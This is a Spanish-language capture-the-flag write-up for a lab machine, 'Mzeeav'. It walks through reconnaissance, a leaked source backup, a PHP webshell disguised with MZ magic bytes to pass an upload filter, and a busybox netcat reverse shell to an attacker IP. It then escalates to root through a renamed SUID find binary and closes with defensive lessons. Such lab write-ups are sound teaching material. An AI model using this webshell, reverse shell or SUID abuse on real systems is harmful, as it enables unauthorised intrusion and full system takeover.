Mzeeav
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Mzeeav publica un "antivirus online" que solo acepta ejecutables PE. Un/backups/backup.zipfiltra el código deupload.phpy revela que el filtro se limita a buscar los magic bytesMZ(4D5A) dentro del fichero. Anteponemos esa cabecera a una webshell PHP (bypass por magic bytes), pasamos el control y ejecutamos comandos comowww-data(subida de fichero a RCE). Para root, un binario SUID a medida,/opt/fileS, no es más que unfindrenombrado: su-execnos da una shell privilegiada (abuso de binarios SUID).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido completo solo encuentra dos puertos:
ping -c 1 192.168.205.33
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.205.33PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpnmap -p22,80 -sCV 192.168.205.33 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-title: MZEE-AV - Check your filesMZEE-AV - TCP 80
El 80 sirve MZEE-AV, un supuesto motor antivirus que invita a subir ficheros PE ("Check your PE-files with the online AV engine"). Hay un formulario de subida y un mensaje que ya adelanta la restricción: solo quiere ejecutables de Windows.

Un dirsearch descubre las rutas de interés: el directorio de subidas /upload/, la propia upload.php y, sobre todo, un /backups/:
dirsearch -u http://192.168.205.33 -t 200 --exclude-status=404,403,503
[21:37:06] 301 - /backups -> http://192.168.205.33/backups/
[21:37:06] 200 - /backups/
[21:37:22] 301 - /upload -> http://192.168.205.33/upload/
[21:37:22] 200 - /upload.php
[21:37:22] 200 - /upload/Fuga del código fuente
/backups/ tiene directory listing activo y expone un backup.zip:

Al descomprimirlo aparece el árbol de la aplicación, incluido el código de la lógica de subida:
wget http://192.168.205.33/backups/backup.zip
unzip backup.zipvar/www/html/upload/wget.exe
var/www/html/upload/whoami.exe
var/www/html/listing.php
var/www/html/upload.phpLeer upload.php es la clave. El script guarda el fichero, lee sus dos primeros bytes y comprueba que, en hexadecimal, contengan 4D5A (los magic bytes MZ de todo ejecutable PE). Si no aparecen, rechaza la subida:

El detalle demoledor es que la comprobación usa strpos($magicbytes, '4D5A') === false: solo exige que la cadena MZ esté presente al inicio, sin validar el tipo real ni la extensión. Un .php que empiece por MZ pasa el filtro.
Explotación
Bypass del filtro con cabecera MZ
Construimos una webshell que empiece con los magic bytes MZ (4D 5A ...) y a continuación lleve el PHP. La secuencia 4D 5A 4E 47 0D 0A 1A 0A deja los dos primeros bytes en MZ (satisface el filtro) y el <?php ...> se ejecuta igual, porque PHP procesa las etiquetas donde estén (bypass por magic bytes):
echo '4D 5A 4E 47 0D 0A 1A 0A' | xxd -p -r > shell.php
echo '<?php system($_REQUEST["cmd"]); ?>' >> shell.php
xxd shell.php
00000000: 4d5a 4e47 0d0a 1a0a 3c3f 7068 7020 7379 MZNG....<?php sy
00000010: 7374 656d 2824 5f52 4551 5545 5354 5b63 stem($_REQUEST[c
00000020: 6d64 5d29 3b20 3f3e 0a md]); ?>.Subimos shell.php con el formulario, seleccionándola en el campo Browse:

listing.php la acepta y hasta la marca como "clean", confirmando que el filtro la dio por válida:

La webshell queda en /upload/shell.php. Con el parámetro cmd lanzamos una reverse shell (subida de fichero a RCE):
Antes de disparar la shell, dejamos un nc a la escucha:
nc -nlvp 22
http://192.168.205.33/upload/shell.php?cmd=busybox nc 192.168.45.232 22 -e bashLa shell corre como www-data.
Local
cat local.txt && whoami && ip a && hostname
fbe7d4abc36a4942eaac58f492b20f0c
www-dataEscalada de privilegios
SUID /opt/fileS: un find disfrazado
Buscamos binarios SUID y aparece uno fuera de lo común, /opt/fileS. Al ejecutarlo suelto lista el contenido del directorio actual, exactamente como haría find, lo que ya delata su naturaleza:
find / -perm -4000 2>/dev/null
/opt/fileS
/usr/bin/sudo
/usr/bin/su
...Al ejecutarlo con -help la ayuda lo confirma: menciona -exec, -execdir, -fprint, -prune... y remite a la documentación de GNU findutils. /opt/fileS no es un binario propio, es un find renombrado con el bit SUID puesto. find figura en GTFOBins: su parámetro -exec ejecuta comandos con los privilegios del propietario del binario, que aquí es root. Le pedimos que ponga el SUID a /bin/bash y abrimos una shell que conserva el UID efectivo de root (abuso de binarios SUID):
/opt/fileS -help | tail -n 15
/opt/fileS -exec chmod u+s /bin/bash \;
ls -l /bin/bash
bash -p
-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bashRoot
cat /root/proof.txt && whoami && ip a && hostname
479093c96c2c236e1b694be6ee7100ed
rootCadena de ataque
HTTP (80) -- MZEE-AV, filtro de subida por magic bytes
│ /backups/backup.zip filtra upload.php (solo exige "MZ"/4D5A)
│ webshell con cabecera MZ -> /upload/shell.php?cmd=
▼
www-data (local.txt)
│ SUID /opt/fileS = find renombrado -> -exec chmod u+s /bin/bash
▼
root (proof.txt)Lecciones aprendidas
- Validar por magic bytes no valida el tipo. Comprobar que un fichero empieza por
MZno impide que sea PHP ejecutable: el intérprete corre las etiquetas<?phpestén donde estén. La defensa real es no servir el directorio de subidas como PHP, forzar extensiones seguras y guardar fuera del webroot. - Nunca dejar copias de seguridad en el webroot. El
/backups/backup.zipaccesible entregó el código fuente y, con él, la lógica exacta del filtro. Un directory listing abierto lo puso en bandeja. - Renombrar un binario no cambia lo que hace.
/opt/fileSseguía siendofind; el bit SUID sobre él equivale alfindde GTFOBins. Los SUID a medida deben auditarse igual que los del sistema.